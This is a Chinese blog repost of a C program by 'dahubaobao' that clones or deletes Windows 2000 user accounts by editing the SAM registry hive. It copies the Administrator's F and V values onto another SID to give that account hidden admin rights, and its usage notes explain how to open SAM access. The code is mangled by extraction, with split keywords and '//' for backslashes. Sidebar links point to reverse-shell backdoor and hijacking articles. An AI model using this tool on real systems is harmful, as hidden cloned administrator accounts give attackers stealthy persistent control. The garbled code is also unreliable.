克隆/删除任意用户 dahubaobao

GOOGLE HACKING 系列文章 【FreeXploiT整理收集】 本文涉及作者 swap(慕容小雨),zhaohuan(Xfocus),snipe(4ngel)信息安全的隐患-GoogleHacking原理和防范作者:zhaohuan@phack.org 来源:www.phack.org技术天地:GoogleHacking是利用Google的搜索引擎快速查找存在脆弱性的主机以及包含敏感数据的信息,最近这种以前由黑客手动进行操作的攻击手段可以通过一种新的蠕虫病毒来 阅读详情

Codz:


#include <windows.h>
#include <string.h>
#include <stdio.h>

char name[50][30];
int KeyN=0;
//OpenKey(),ViewUser(),ListUser()函数用到的变量

void Sid (char *sid);
//删除安全标识符
void User (char *user);
//删除用户名
void OpenKey (char *key);
int ViewUser (char *key);
int ListUser (void);
//显示用户名对应的安全标识符
int Clone (char *C_sid);
//克隆帐户
void Usage (void);
//帮助信息

void main (int argc, char *argv[])
{
     
char SID[10];
     
char C_Sid[10];
     
char USER[40];
     
int n;

     for (
n=1;n<argc;n++)
     {
          if (
argv[n][0] == '-')
          {
              
tch(argv[n][1])
              {
                     case 
'?':
                     case 
'h':
                     case 
'H':Usage();
                              break;

                     case 
'l':
                     case 
'L':ListUser();
                              break;

                     case 
'c':
                     case 
'C':printf("Please Input Clone SID:");
                              
gets(C_Sid);
                              if (
strlen(C_Sid)<=10)
                                  
Clone(C_Sid);
                              else
                                  
printf("Error/n");
                              break;

                     case 
's':
                     case 
'S':printf("Please Input Delete SID:");
                              
gets(SID);
                              if (
strlen(SID)<=10)
                                  
Sid(SID);
                              else
                                  
printf("Error/n");
                              break;

                     case 
'u':
                     case 
'U':printf("Please Input Delete USER:");
                              
gets(USER);
                              if (
strlen(USER)<=40)
                                  
User(USER);
                              else
                                  
printf("Error/n");
                              break;
              }
          }
     }
}

void Sid (char *sid)
{
     
HKEY hkey;
     
DWORD ret;
     
char C_sid[10];
     
     
ZeroMemory(C_sid,10);
     
strcpy(C_sid,"00000");  //填充SID中的前5位
     
strcat(C_sid,sid);  //传递剩余3位,并继续填充

     //打开注册表,成功返回值0(SUCCESS)
     
ret=RegOpenKey(HKEY_LOCAL_MACHINE,  //根键名或已打开项的句柄
                    
"SAM//SAM//Domains//Account//Users//",  //要打开的项名
                    
&hkey);  //装载打开项的句柄

     
if (ret==ERROR_SUCCESS)
         ;
     else
         return 
0;

     
//删除SID,成功返回值0(SUCCESS)
     
ret=RegDeleteKey(hkey,C_sid);

     if (
ret==ERROR_SUCCESS)
         
printf("Success Delete Key(SID)/n");  //打印成功消息
     
else
     {
         
printf("Delete Key FAIL(SID)/n");     //打印失败消息
         
return 0;
     }

     
RegCloseKey(hkey);   //关闭以打开的注册表项
     
}

void User (char *user)
{
     
HKEY hkey;
     
DWORD ret;
     
char C_user[40];

     
ZeroMemory(C_user,40);
     
strcpy(C_user,"");
     
strcat(C_user,user);

     
ret=RegOpenKey(HKEY_LOCAL_MACHINE,
                    
"SAM//SAM//Domains//Account//Users//Names//",
                    &
hkey);

     if (
ret==ERROR_SUCCESS)
         ;
     else
         return 
0;

     
ret=RegDeleteKey(hkey,C_user);

     if (
ret==ERROR_SUCCESS)
         
printf("Success Delete Key(USER)/n");
     else
     {
         
printf("Delete Key FAIL(USER)/n");
         return 
0;
     }

     
RegCloseKey(hkey);

}

void OpenKey (char *key)
{
     
HKEY hkey;
     
DWORD dwIndex=0,lpcbname=100,ret=0;
     
char T_name[100],Buffer[100];
     
FILETIME lpftlast;
     
int i=0;

     
ZeroMemory(Buffer,100);
     
ZeroMemory(T_name,100);
     
ZeroMemory(name,1500);

     
RegOpenKeyEx(HKEY_LOCAL_MACHINE, //根键名或已打开项的句柄
                  
key,  //传递一个参数,欲打开的注册表项
                  
0,    //未用,设为0即可
                  
KEY_ALL_ACCESS, //带有前缀KEY_??的一个或多个常数。
                  //它们的组合描述了允许对这个项进行哪些操作
                  
&hkey);

     for(
i=0;ret==ERROR_SUCCESS;i++,dwIndex++)
     {
          
ret=RegEnumKeyEx(hkey,dwIndex,T_name,&lpcbname,
                           
NULL,NULL,NULL,&lpftlast);
          
//dwIndex:欲获取的子项的索引。第一个子项的索引编号为零
          //T_name:用于装载指定索引处项名的一个缓冲区
          //&lpcbname:指定一个变量,用于装载lpName缓冲区的实际长度(包括空字符)。
            //一旦返回,它会设为实际装载到lpName缓冲区的字符数量
          //NULL:未用,设为零
          //NULL:项使用的类名
          //NULL:用于装载lpClass缓冲区长度的一个变量
          //&lpftlast:FILETIME,枚举子项上一次修改的时间

          
strcat(name,T_name);
          
ZeroMemory(T_name,100);
          
lpcbname=100;
     }

     
RegCloseKey(hkey);

     
//拼接用户名
     
for(KeyN=0;KeyN<i;KeyN++)
     {
         
strcat(Buffer,name[KeyN]);
         
strcat(Buffer,"/n/r");
     }
}

int ViewUser (char *key)
{
    
HKEY hkey;
    
DWORD lpType=0,ret;
    
char S_name[10];


    
ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
                     
key,
                     
0,
                     
KEY_ALL_ACCESS,
                     &
hkey);

    if(
ret==ERROR_SUCCESS)
       ;
    else
       return 
0;

    
RegQueryValueEx(hkey,NULL,NULL,
                    &
lpType,NULL,NULL);
    
//NULL:要获取值的名字
    //NULL:未用,设为零
    //&lpType:用于装载取回数据类型的一个变量
    //NULL:用于装载指定值的一个缓冲区
    //NULL:用于装载lpData缓冲区长度的一个变量

    
wsprintf(S_name,"%X/n/r",lpType);
    
printf("%s",S_name);

    return 
1;
}

int ListUser (void)
{
    
int n;
    
char Buffer[70]="SAM//SAM//Domains//Account//Users//Names//";
    
char Temp[40]={'/0'};

    
OpenKey("SAM//SAM//Domains//Account//Users//Names");

    for(
n=0;n<KeyN;n++)
    {
        
strcat(Buffer,name[n]);
        
wsprintf(Temp,name[n]);
        
strcat(Temp,"===>");
        
printf("%s",Temp);
        
ViewUser(Buffer);
        
strcpy(Buffer,"SAM//SAM//Domains//Account//Users//Names//");
    }
    return 
1;
}

int Clone(char *C_sid)
{
    
HKEY hkey,C_hkey;
    
DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret;
    
char CloneSid[100];
    
LPBYTE lpDataF,lpDataV;

    
lpDataF = (LPBYTE) malloc(1024*2);
    
lpDataV = (LPBYTE) malloc(1024*10);

    
ZeroMemory(lpDataF,1024*2);
    
ZeroMemory(lpDataV,1024*10);
    
ZeroMemory(CloneSid,100);

    
strcpy(CloneSid,"SAM//SAM//Domains//Account//Users//00000");
    
strcat(CloneSid,C_sid);

    
ret= RegOpenKeyEx(HKEY_LOCAL_MACHINE,
                      
"SAM//SAM//Domains//Account//Users//000001F4",
                      
0,
                      
KEY_ALL_ACCESS,
                      &
hkey);

    if(
ret==ERROR_SUCCESS)
       ;
    else
       return 
0;

    
ret = RegQueryValueEx(hkey,"F",NULL,
                          &
Type,lpDataF,&SizeF);

    if(
ret==ERROR_SUCCESS)
       ;
    else
       return 
0;

    
ret = RegQueryValueEx(hkey,"V",NULL,
                          &
Type,lpDataV,&SizeV);

    if(
ret==ERROR_SUCCESS)
       ;
    else
       return 
0;

    
ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
                       
CloneSid,
                       
0,
                       
KEY_ALL_ACCESS,
                       &
C_hkey);

    if(
ret==ERROR_SUCCESS)
       ;
    else
       return 
0;

    
ret= RegSetValueEx(C_hkey,"F",0,
                       
REG_BINARY,
                       
lpDataF,
                       
SizeF);
    
//C_hkey:根键名或已打开项的句柄
    //“F”:要设置值的名字
    //0:未用,设为零
    //REG_BINARY:要设置的数量类型
    //lpDataF:包含数据的缓冲区中的第一个字节
    //SizeF:lpData缓冲区的长度

    
if(ret==ERROR_SUCCESS)
       ;
    else
       return 
0;

    
ret=RegSetValueEx(C_hkey,"V",0,
                      
REG_BINARY,
                      
lpDataV,
                      
SizeV);

    if(
ret==ERROR_SUCCESS)
       
printf("Clone User Success/n");
    else
    {
       
printf("Clone User FAIL/n");
       return 
0;
    }

    
RegCloseKey(hkey);
    
RegCloseKey(C_hkey);

    return 
1;
}

void Usage (void)
{
     
fprintf(stderr,"===============================================================================/n"
             "/t      克隆/删除任意用户/n"
             "/t环境:Win2K Adv Server + Visual C++ 6.0/n"
             "/t作者:dahubaobao/n"
             "/t主页:<a href="
http://www.RingZ.org/n" target="_blank">www.RingZ.org/n</a>"
             
"/tOICQ:47809945/n"
             "/t邮件:dahubaobao@hotmail.com/n"
             "/t声明:本帖由环行区(RingZ)原创,转载请注明出处,谢谢!/n"
             "/n"
             "/t使用方法:/n"
             "/t/"-H/":帮助信息/n"
             "/t/"-L/":列出系统中用户对应的SID/n"
             "/t/"-C/":克隆帐户,输入SID即可/n"
             "/t/"-S/":删除SID/n"
             "/t      对应注册表HKEY_LOCAL_MACHINE//SAM//SAM//Domains//Account//Users/n"
             "/t/"-U/":删除用户名/n"
             "/t      对应注册表HKEY_LOCAL_MACHINE//SAM//SAM//Domains//Account//Users//Names/n"
             "/n"
             "/t注意事项:/n"
             "/t由于SID的前5位都是/"0/",所以不必输入,直接输入最后三位/n"
             "/t例如:000001F5,则直接输入1F5,即可将Guest帐户删除/n"
             "/t使用Regedt32将SAM键修改为Administrators可以访问/n"
             "/t使用-C参数后,会弹出/"Clone SID:/"提示符,只需输入相应的SID即可克隆/n"
             "/t使用-S参数后,会弹出/"Delete SID:/"提示符,只需输入相应的SID即可删除/n"
             "/t使用-U参数后,会弹出/"Delete USER:/"提示符,只需输入相应的用户名即可删除/n"
             "===============================================================================/n"
);
}

 

LinuX 硬盘分区细节详谈 【 整理至 LinuxSir BY FreeXploiT 】 系统引导过程及硬盘分区结构论述作者: zhy2111314来自: LinuxSir.Org ouc.edu.cn摘要: 本文是理论性文档,主要讲述系统引导过程以及硬盘的物理结构;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++正文+++++++++++++++++++++++++++++++++++++++++++++++ 阅读详情

相关推荐

【PDN仿真笔记9-使用Sigrity PowerDC进行IR Drop仿真的方法】

使用Sigrity PowerDC进行IR Drop进行仿真的方法

qq_42682826的博客 8007

五个反弹后门的源代码[转]

第一个反弹木马代码:作者 iceblood代码#include #include #include #include #include #include #include void usage();char shell[]="/bin/sh";char message[]="s8s8 welcome/n";int sock;int main(int argc, char *argv[]) {if(

1931

从零搭建SPI通信系统:AXI Quad SPI IP核在Xilinx平台上的完整配置流程

本文详细介绍了在Xilinx平台上使用AXI Quad SPI IP核从零搭建SPI通信系统的完整配置流程。涵盖IP核架构解析、Vivado环境配置、寄存器编程实战及性能优化策略,帮助开发者快速实现高速稳定的SPI通信,特别适用于嵌入式系统开发中的外围设备连接需求。

hh234的博客 1053

Some useful techniques in hijacking

1.HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Tcpip/Parameters/,将IPEnableRouter的值改为16进制的1,这样就开启了ip路由功能。 xhijack 192.168.0.1 192.168.0.3,选择2号适配器,输入l命令来查看连接。如图八。图上清清楚楚的写着:(1)192.168.0.1:23192.1

net0r的专栏 1662

5分钟搞定:用Pyannote和Whisper实现带说话人分离的语音转文字(附完整代码)

本文详细介绍了如何快速构建一个集成了说话人分离功能的语音转文字系统。通过结合OpenAI的Whisper模型进行高精度语音识别和Pyannote模型实现说话人分离,并提供了完整的代码实现、环境搭建指南以及核心的对齐与合并逻辑,帮助开发者高效处理会议录音、访谈等多说话人音频,实现自动化转录。

threejs5artist的博客 636

【专栏必读】王道考研408数据结构+算法设计与分析万字笔记使用说明及章节导航

各位老铁思维导图在我整理完笔记后会放上去的,我需要根据王道的思维导图重新再做一遍 文章目录一:有关注意事项二:关于专栏三:学习建议四:各专栏导航(各位老铁别催,质量优先)(1)第一章:绪论(2)第二章:线性表(3)第三章:栈和队列第四章:串第五章:二叉树第六章:图 首先感谢王道大大(手动比心),很用心在做了,大家可以看其中两节是否符合胃口 (王道408考研数据结构)第五章树-第三节1:二叉树遍历(先序、中序和后序) (王道408考研数据结构)第五章树-第四节2:平衡二叉树(AVL)及其旋转 一:有.

快乐江湖的博客 5万+

windows下开发驱动并不难

转载的有关简单的驱动开发环境以及代码测试等入门知识

sun的专栏 2177

开发Qt上位机获取阿里云IOT设备数据(开发上位机对接阿里云IOT平台)

使用Qt框架开发一款上位机软件,调用阿里云物联网平台的API接口,获取设备最新上传的实时数据,并在Qt设计的软件界面上展示处理。同时,还支持绘制曲线图表展示数据,并具备定时刷新功能。

2144

会话劫持攻击实战

前言通常,大家所说的入侵,都是针对一台主机,在获得管理员权限后,就很是得意;其实,真正的入侵是占领整个内部网络。针对内部网络的攻击方法比较多,但比较有效的方法非ARP欺骗、DNS欺骗莫属了。但是,不管使用什么技术,无非都是抓取目标的数据包,然后分析出敏感数据。如果目标内部采用的是共享式网络(采用HUB集线器连网),那只需要把网卡设置为"混杂模式",挂上嗅探器(Sniffer),就能简听到你想得到的

ElGamal的专栏 1483

YOLOv8改进---BiFPN特征融合

yolov8结合BiFPN进行改进

qq_41920323的博客 4523

深度解析与实战:长短时记忆网络(LSTM)在股票走势预测中的应用(基于Python + PyTorch)

本文全面探讨了LSTM在股票价格预测中的应用,从理论基础到实践操作。文章首先强调了股票市场预测的重要性,并介绍了LSTM网络结构及其在处理时间序列数据中的优势。接着,详细说明了数据预处理的关键步骤,包括数据收集、清洗、特征选择和归一化。文章还讨论了LSTM模型的构建、训练和评估,并提供了Python及PyTorch的实操案例。最后,总结了LSTM在股票预测的成果,并提出了未来研究的方向,如模型优化和特征工程,旨在帮助读者掌握LSTM在股票价格预测中的应用,并探索提升模型性能的方法。

专注于人工智能、软件开发、工控自动化、工厂数字化及智能化等领域,希望和大家共同进步! 2105

mysql amd.dll 后门_DLL后门清除完全篇

作者:dahubaobao [Nuke Group]主页:http://www.ringz.org团体站点:http://www.digitalnuke.com/main/邮件:dahushibaobao@vip.sina.comQQ:47809945工具及图片这里有下载 http://dahubaobao.go.nease.net/DLL.rar ,解压密码:www.ringz.org后门!相信...

weixin_39626237的博客 266

Android 14.0 首次开机默认授予app运行时权限(去掉运行时授权弹窗)

在14.0的系统rom产品定制化开发中,在6.0以后对于权限的申请,都需要动态申请,所以会在系统首次启动后,在app的首次运行时, 会弹出授权窗口,会让用户手动授予app运行时权限,在由于系统产品开发需要要求默认授予app运行时权限,不需要用户默认授予运行时弹窗,所以需要在首次开机默认授予所有app运行时权限

安卓兼职framework和app工程师的博客 2531

克隆/删除任意用户

代码:克隆/删除任意用户(RingZ_CDUser) 作者:dahubaobao主页:http://www.ringz.org 邮件:dahushibaobao@vip.sina.com QQ:382690EXE在压缩包中,解压密码:www.ringz.org http://dahubaobao.go.nease.net/RingZ_CDUser.rar 欢迎进入环形区,一群技术狂热者的社区,ww

975

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

[转载]克隆/删除任意用户(RingZ_CDUser)

作者:dahubaobao   来源:中国红客联盟    更新日期:2005-01-18    浏览次数:  =====================================================================#include #include #include char name[50][30];int KeyN=0;//OpenKey(),View

974

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

支持XP/2k/2k3下完美进行任意用户克隆的C源码

软件作者:pt007[at]vip.sina.com版权所有,转载请注明版权信息来源:邪恶八进制信息安全团队(www.eviloctal.com)    本程序是基于dahubaobao的源程序的基础上进行了修改,改正了源程序中的一个严重BUG(原程序会引起用户管理的混乱),本版本加入了注册表提权 和恢复功能,因此能够完美的支持XP/2000/2003,下一个版本我打算实现直接输入用户名克隆和密码

1714

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

注册表操作

代码:注册表操作(RingZ_RgeEdit) RingZ_CDUser的扩展版本 作者:dahubaobao主页:http://www.ringz.org 邮件:dahushibaobao@vip.sina.com QQ:382690EXE在压缩包中,解压密码:www.ringz.org http://dahubaobao.go.nease.net/RingZ_RgeEdit.rar 欢迎进入环

1078

浅谈会话劫持原理及实践

 《监视你的一举一动》                      ---浅谈会话劫持原理及实践 前言 通常,大家所说的入侵,都是针对一台主机,在获得管理员权限后,就很是得意;其实,真正的入侵是占领整个内部网络。针对内部网络的攻击方法比较多,但比较有效的方法非ARP欺骗、DNS欺骗莫属了。但是,不管使用什么技术,无非都是抓取目标的数据包,然后分析出敏感数据。如果目标内部采用的是共享式

余璜的技术博客 5403

最简单的反弹后门设计和基本模块代码

 2004-08-24 10:55:41题目:写一个反弹式后门程序,让该程序运行后,就会连接到你指定的计算机,在那台计算机上用NC这样的小工具监听某一端口,当运行这个后门的计算机连接到这个端口后,就能远程执行对方计算机的命令了。要求:任何计算机语言都可以,只要你能写得出来。系统平台:Window版和*nix版分开写看谁写得精彩,随着程序版本的增多,我们会慢慢提出新的功能,看

2582

DLL后门清除完全篇

作者:dahubaobao [Nuke Group] 更新日期:2004-03-25 类别:网络安全->网络安全 总浏览/今日:343/4文:握着你的“手”清除DLL后门 作者:dahubaobao [Nuke Group] 主页:http://www.ringz.org 团体站点:http://www.digitalnuke.com/main/ 邮件:dahushibaoba

FreeXploiT 1452

PageFile Swap File

PageFile Swap FileAuthor: JIURL                Home: http://jiurl.yeah.net     Date: 2005-06-02 1 PageFile Swap File IntroductionWindows 2000 uses page-based virtual memory management, contents of som

FreeXploiT 39万+

跨站脚本专题(XSS)

跨站脚本说明什么是跨站脚本(CSS/XSS)?我们所说跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,有时候跨站脚本被称为"XSS",这是因为"CSS"一般被称为分层样式表,这很容易让人困惑,如果你听某人提到CSS或者XSS安全漏洞,通常指得是跨站脚本。XSS和脚本注射的区别?原文里作者是和他一个朋

FreeXploiT 2万+

了解WWW服务与HTTP协议 【入门与应用】

轻松认识HTTP协议的概念和工作原理    当我们想浏览一个网站的时候,只要在浏览器的地址栏里输入网站的地址就可以了,例如:www.microsoft.com,但是在浏览器的地址栏里面出现的却是:http://www.microsoft.com,你知道为什么会多出一个“http”吗?一、HTTP协议是什么我们在浏览器的地址栏里输入的网站地址叫做URL(UniformResourceLocator,

FreeXploiT 2万+

windows网关详解 【了解网关的重要性,增加网络性能】【FreeXploiT综合文】

理解Windows中的路由表和默认网关   每一个Windows系统中都具有IP路由表,它存储了本地计算机可以到达的网络目的地址范围和如何到达的路由信息。路由表是TCP/IP通信的基础,本地计算机上的任何TCP/IP通信都受到路由表的控制。 理解路由表 你可以运行 route print 或 netstat -r 显示本地计算机上的路由表,如下图所示: C:/Documents

FreeXploiT 1万+

SATA硬盘的设置指南 【对使用sata的朋友挺有用的一篇文章】

这是我发表在电脑报上的三篇关于SATA硬盘设置使用的文章,看到评报中有人说整理到一起发在论坛上方便查找,所以就发到这里了。希望对遇到问题的朋友能有帮助。SATA硬盘使用问答(电脑报04年33期) bigh随着各厂家SATA硬盘价格的持续走低,支持SATA的主板逐渐繁荣和成熟,越来越多的人选择SATA硬盘来构建自己的电脑平台。但是由于SATA硬盘有别于并口PATA硬盘,安装和使用中会有很多不同,而使

FreeXploiT 1万+
上一篇: bat里面需要注意errorlevel这个变量(ALLyeSNO)
下一篇: Windows 2000 的通用的SIDs(有趣 转至灯芯工作室)
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值